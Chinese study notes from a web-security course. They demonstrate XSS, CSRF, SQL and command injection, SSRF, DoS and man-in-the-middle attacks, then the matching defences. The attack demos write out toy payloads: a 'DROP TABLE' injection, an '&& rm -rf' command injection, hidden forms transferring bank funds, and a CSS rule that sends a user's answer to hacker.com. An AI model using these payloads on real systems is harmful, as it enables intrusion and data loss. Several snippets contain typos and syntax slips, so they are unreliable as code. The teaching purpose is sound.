[Web 开发的安全之旅 | 青训营笔记11]

59 阅读8分钟

前言

这是我参与「第五届青训营」伴学笔记创作活动的第 11 天,相信大家对网络安全一词,肯定不陌生,今天我们要讲的是关于web 安全,比如别人通过技术手段将你的账号密码给窃取,这就是网络安全需要去避免的

Web 安全一窥

305155bb-ad8f-40d1-8684-123e662c02e0.png 安全问题“很常见”,会危害

  • 用户
  • 公司
  • 程序员 (祭天)

d50d36df-f2af-4e34-b25d-09e3afcfa967.png 很遗憾,这个[免费变强口] 的功能下线了

两个角度看 web 安全

  • 假如你是一个 hacker -- 攻击
  • 假如你是一个开发者 -- 防御

攻击篇

Cross-Site Scripting(XSS)

dcb977ed-8dc6-4051-bc25-53457ca8f675.png

XSS 跨站脚本攻击

XSS 主要利用了

044c5ab5-82de-4c40-93e9-b2cb42f47caf.png

XSS 的一些特点

8f39dd51-ad29-4d06-99fd-bff29f114838.png

XSS demo

public async submit(ctx) {
   const { content, id } = ctx.requeset.body;
   // 没有对content 过滤
   await db.save({
   content,
   id
   })
}

public async submit(ctx) {
   const { content } = await db.quer({
       id: ctx.query.id
   })
   // 没有对content 过滤
   ctx.body = `<div>${content}</div>`
}

!!可以直接提交恶意脚本

// 提交时候
fetch( "/submit",{
    body: JSON.stringify({
    id:"1",
    content:`<script>alert("xss");</script>`
    });
});
ctx.body = `
   <div>
      <script>alert("xss");</script>
   </div>
`

微信截图_20230208161707.png

随便去个浏览器试一下,发现不行

Stored XSS

3afe76ea-8ace-44cf-9778-7b4e611ed297.png

04fea01a-ba5c-4b20-90b6-c00b30b49596.png

Reflected XSS

b8ecc918-43f7-4ff0-b12f-3e31a974a5c6.png

Reflected XSS Demo

    host/path/?param=<script>alert('123')</script>
public async render(ctx) {
  const { param } = ctx.query;
  ctx.status = 200;
  ctx.body = `<div>${param}</div>`;
}

DOM-based XSS

b3001740-919e-42b9-9259-e0dbe4bed2d6.png

DOM-based XSS Demo

    host/path/?param=<script>alert('123')</script>
const content = new URL(location.href).searchParams.get('param');
const div = document.createElement('div')
// 恶意脚本注入
div.innerHTML = content;
document.body.append(div);

微信截图_20230208172612.png

试了一下,url并没有携带param变量

Reflected vs DOM-based

完成注入脚本的地方 b3b138ae-2c42-4282-8697-dfe629ee7bfb.png

Mutation-based XSS

b3001740-919e-42b9-9259-e0dbe4bed2d6.png

没人比我更懂浏览器

<noscript><p title="</noscript>
<img src=x onerror=alert(1)>
>">

过滤工具:平平无奇的 title 属性

<div>
<noscript><p title="</noscript>
<img src="x" onerror="alert(1)">
"">"
</div>

微信截图_20230208173229.png

也是没有效果

Cross-site request forgery(CSRF)

3afe76ea-8ace-44cf-9778-7b4e611ed297.png

CSRF demo

  1. 用户没有访问银行页面
  2. 银行页面中的特定接口被请求
  3. 请求执行成功

下载.png 有 cookie 的请求 === 合法用户的请求

伪造请求,伪造接口

CSRF--GET

<a href="https://bank.com/transfer?to=hacker&amount=100">点我抽奖</a>
<!-- 确实中奖了 -->
<img style="display:none;" src="https://bank.com/transfer?to=hacker&amount=100"/>

CSRF--beyond GET

<form action="https://bank/transfer_tons_of_money" method="POST"> 
    <input name="amount" value="1000000000000" type="hidden"/>
    <input name="to" value="hacker!type="hidden" />
</form>

常见伪造请求就是GET请求

Injection

SQL Injection

49b32f75-dbf3-44ec-83b2-a9e3e6f0bc8f.png

假如有个HTTP,sql参数在请求上带入,然后这段请求代入,达到了服务器端,从HTTP去读参数,构造出sql 语句,然后去运行这个sql代码,这段代码被执行后,也是被恶意的注入,结果导致攻击者其他数据能够修改数据,甚至删除等等

Injection demo 1

  1. 读取请求字段
  2. 直接以字符串的形式拼接SQL语句
public async renderForm(ctx) {
   const { username, form_id } = ctx.query;
   const result = await sql.query(`
   SELECT a,b,c FROM table
   WHERE username = ${username}
   AND form_id = ${form_id}
   `);
    ctx.body =nrenderForm( result);
}
fetch("/api",{
    method:"POST",
    headers: {
    "Content-Type": "applicaiton/json"
    },
    body: JSON.stringify({
    username: "any; DROP TABLE table;",
    })
 })
SELECT XXX FROM XXX; DROP TABLE table;

被动删库跑路成就达成

Injection 不止于 SQL

  • CLI
  • OS command
  • Server-Side Request Forgery(SSRF), 服务端伪造请求
    • 严格而言,SSRF 不是 injection,但是原理类似

lnjection demo 2-一执行

public async renderForm(ctx) {
   const { video, options } = ctx.request.body;
   exec('convert-cli ${video} -o ${options}`);
   ctx.body = "ok";
}
fetch("/api",{
    method:"POST",
    body: JSON.stringify({options:`' && rm -rf xxx`
})
});
const command = `convert-cli video - o && rm  -rf xxx`
Injection demo 2--读取 + 修改

cd06181c-2bc2-45f1-b142-442595dc7340.png

location / {
    proxy_pass https://hacker.com;
}
  1. 流量转发到真实第三方
  2. 第三方扛不住新增流量
  3. 第三方服务挂掉
  4. 您的竞争对手已下线

SSRF demo

  1. 请求[用户自定义]的 callback URL
  2. web server 通常有内网访问权限
public async webpack(ctx) {
    // callback 可能是内网 url
    // e.g http://secret.com/get_employ_payrolls
    ctx.body = await fetch(ctx.query.callback);
}

访问callback === 暴露内网信息

Denial of Service(DoS)

通过某种方式 (构造特定请求),导致服务器资源被显著消耗,来不及响应更多请求,导致请求挤压,进而雪崩效应

插播: 正则表达式一一贪婪模式

重复匹配时 r?] vs Tno ?]:满足“一个“即可 vs 尽量多

const greedyRegExp =/a+/; // 有多少匹配多少
const nonGreedyRegExp = /a+?/; 有一个就行
const str = 'aaaaaa';
console.log(str.match(greedyRegExp)[0]); // 'aaaaaa'
console.log(str.match(nonGreedyRegExp)[0]); // 'a'

ReDoS: 基于正则表达式的 DoS

贪婪:n 次不行? n - 1 次再试试? --回溯

abc504d6-e094-4a74-891a-c72522bde3bb.png

  • 响应时间 ↑↑
  • 接口吞吐量 ↓↓

Logical DoS

  • 耗时的同步操作
  • 数据库写入
  • SQL join文件备份
  • 循环执行逻辑

Logical DoS Demo

下载 (1).png

Distributed DoS(DDoS)

短时间内,来自大量僵尸设备的请求流量,服务器不能及时完成全部请求,导致请求堆积,进而雪崩效应,无法响应新请求

[不搞复杂的,量大就完事儿了]

DDos

攻击特点

  • 直接访问IP
  • 任意API消耗大量带宽(耗尽)
DDoS demo

SYN Flood

ccea503e-d473-4019-8d56-3c48286b776c.png

中间人攻击

  1. 明文传输
  2. 信息篡改不可知
  3. 对方身份未验证

下载 (2).png

所以才有 https 的SSLTLS 这样的安全传输层

防御篇

XSS

  • 永远不信任用户的提交内容 -不要将用户提交内容直接转换成 DOM

235146b6-735e-4090-9b4a-65b9d020b47b.png

XSS一一现成工具

前端

  • 主流框架默认防御XSS
  • google-closure-library

服务端(Node)

  • DOMPurify

XSS一一耗子尾汁

个[用户需求] 不讲武德,必须动态生成 DOM

string -> DOM

上传 svg

<svg>
    <script>alert('xss';</script>
</svg>

Blob 动态生成 script

const blob = new Blob(
    [script],
    { type: 'text/javascript'},
);
const url = new URL.createObjectURL(blob)
const script = document.createElement('script')
script.src = url;

自定义跳转链接

<a href="javascript:alert('xss')"></a>

自定义样式

8f12b9e3-07b1-46ea-80e2-82c904d1a0ef.png 收入调查,选中选项时,发送 get 请求,暴露

input[type=radio].income-gt10k:checked {
   background: url("https://hacker.com/?income=gt10k")
}

插播: Same-origin Policy

  • 协议
  • 域名
  • 端口

example.com
example.com
sub.example.com
HTTP 请求: 同源,跨域 看服务器的设置

讲到同源,就讲到跨越,通过CROS 配置Access-Control-Allow-Origin/Headers,或者使用用node的使用代理服务器,或者使用nginx 反向代理

Content Security Policy(CSP)

CSP

  • 哪些源(域名)被认为是安全的
  • 来自安全源的脚本可以执行,否则直接抛错
  • 对 eval + inline script 说 no no

服务器的响应头部

Content-Security-Policy: script-src 'self'  // 同源
Content-Security-Policy: script-src 'self'  https://domain.com

浏览器 meta

<meta http-equiv="Content-Security-Policy" content="script-src self">

通过设置这些头和设置白名单

CSRF 的防御

if 伪造请求 === 异常来源 then 限制请求来源 -> 限制伪造请求

  • Origin
    • 同源请求中,GET + HEAD 不发送
  • Referer

请求头部同时带上 OriginReferer

CSRF--token

除了 Origin + Referrer 其他判断[请求来自于合法来源]的方式

先有页面,后有请求

if(请求来自合法页面)
then (服务器接收过页面请求)
then(服务器可以标识)

6d9e4b93-d95c-440d-8452-aea1c02cd51b.png

  1. 用户绑定:攻击者也可以是注册用户 === 可以获取自己的 token
  2. 过期时间: [前向保密]

CSRF--iframe 攻击

c12ea279-171e-493f-a46b-e85c082a0cbe.png

demo

攻击者在不知情的用户,诱使用户点击button,实际上只是触发了攻击者的事件

CSRF anti-pattern

GET !== GET + POST

//  更新获取 逻辑放到同一个 GET 接口
public async getAndUpdate(ctx) {
const { update, id } = ctx.query;
if (update) {
    await this .update(update);
}
ctx.body = await this.get(id);
}

避免用户信息被携带: SameSite Cookie

8330e66a-c4d4-4925-bd4c-07a65af2f577.png

SameSite Cookie

747d2fb7-94fb-44a0-b835-df54ce9ebc51.png

限制的是:

  1. Cookie domain
  2. 页面域名
  • 依赖 Cookie 的第三方服务怎么办?
    • 内嵌一个 X 站播放器,识别不了用户登录态,发不了弹幕
Set-Cookie: SameSite=None; Secure;

SameSite VS CORS

SameSite

  • Cookie 发送
  • domain vs 页面域名
  • "我跟你说个事儿出这屋我可就不认了”

CORS

  • 资源读写(HTTP请求)
  • 资源域名vs页面域名
  • 白名单
SameSite demo

FirstPartyCookie
3PartyCookie

32cca139-1ee4-4314-8432-53263d300a2d.png

SameSite Cookie

微信截图_20230208202406.png

3160020a-9995-4188-ab00-0c60e8b2456a.png 首次导航的限制: 避免敏感操作跳过二次确认,例如[重置密码] 的 锁
Lax 首次导航 OK

防御 CSRF 的正确姿势

Case by case 防御? no

28f70ac2-d165-442f-9aa9-19e3b1a148fc.png

设置一层去专门去防御 CSRF 攻击

Injection

找到项目中查询 SQL 的地方 使用 prepared statement

PREPARE q FROM 'SELECT user FROM users WHERE gender = ?';
SET @gender = 'female';
EXECUTE q USING @gender;
DEALLOCATE PREPARE q;
Injection beyond SQL
  • 最小权限原则
    • sudo || root
  • 建立允许名单 + 过滤
    • rm
  • 对 URL 类型参数进行协议、域名、ip 等限制
    • 访问内网

防御 DoS

Regex DoS
  • Code Review(X /(ab*)+/)
  • 代码扫描+正则性能测试
  • X 用户提供的使用正则

接口禁止使用贪婪写法的正则

Logical DoS
  • 不是非黑即白
    • 有些case,只有在请求量大到一定之后,才会体现
  • 分析代码中的性能瓶颈
    • 同步调用
    • 串行逻辑
    • 缓存?
    • CPU密集型操作
  • 限流

DDoS

  • 流量治理

    • 过滤
      • 负载均衡
      • API网关
      • CDN
  • 抗量

    • 快速自动扩容
    • 非核心服务降级
      • CDN

传输层一一防御中间人

c30f35a3-3148-4efa-8c22-ed55884d172e.png

HTTP3(QUIC)内置了 TLS 1.3

HTTPS 的一些特性

  • 可靠性:加密
    明文 no
  • 完整性:MAC验证
    篡改 no
  • 不可抵赖性:数字签名
    身份√

此处为 TLS 1.2 fd7a79bd-35c8-4c90-b8d4-c32960416b0c.png

HTTPS一一完整性

91919ad8-a171-41f3-b8f8-3989ad5eb74e.png

插播:数字签名

签名执行者

  • privateKey (自己藏好)
  • publicKey (公开可见)

privateKey + 内容 -封-> signature
publicKey:
你这个 signature,是用的我家那位 privateKey 吗 数学的魅力

HTTPS一一不可抵赖: 数字签名

CA: Certificate Authority证书机构

7738cb81-98f6-4c4e-a6ab-40abc0565a4f.png 数字签名在 HTTPS 中的工作 047c9080-2295-45f7-b025-8b9b07a770aa.png

HTTPS一一证书 续

554bb4dd-22ac-4d21-85bf-58a46c3b3cc2.png

浏览器自己本身会有证书

HTTPS一一证书 demo

a559e817-1b35-45ba-992b-c6899fe73d3b.png

成也证书,败也证书

当签名算法不够健壮时:

b28eeded-3339-404e-96b6-b98c525b99d4.png

HTTP Strict-Transport-Security(HSTS

将 HTTP 主动升级到 HTTPS

ff08fbf7-583b-4802-a2f1-e7607fd3e61b.png

Subresource Integrity(SRI)

静态资源被劫持篡改?对比 hash

cc1143a1-55d0-4a83-9d39-7fe9cca395fc.png

SRI--demo

标签 hash (原始内容 hash)vs 实际内容 hash

<script src="https://example/app.js"
        intergrity="sha384-{some-hash-value}"
        crossorigin="anonymous"></script>
// 伪代码
const remoteHash = hash(content)
if (tagHash !== remoteHash) {
    throw new Error ('wrong hash');
}

通过intergrity进行hash 算法和之后的hash 值进行对比,如果两者相同,那就说明资源没被篡改,如果两者值不一样,说明资源被篡改,存在被攻击的风险,可以通过此举,让CDN 的资源没有被篡改

一点点补充内容

Feature Policy/Perission Policy 一个源(页面)下,可以使用哪些功能

  • camera
  • microphone
  • autoplay
<iframe allow="xxx" />

尾声

!!! npm install 除了带来了黑洞,还可以带来漏洞

推荐读物

网络安全虽然主要还是自己写代码的时候造成的比较多,但还是需要保存好良好的心态,借助一些工具去让这些查出来,或者通过看web 安全 等书籍去加强 web 安全意识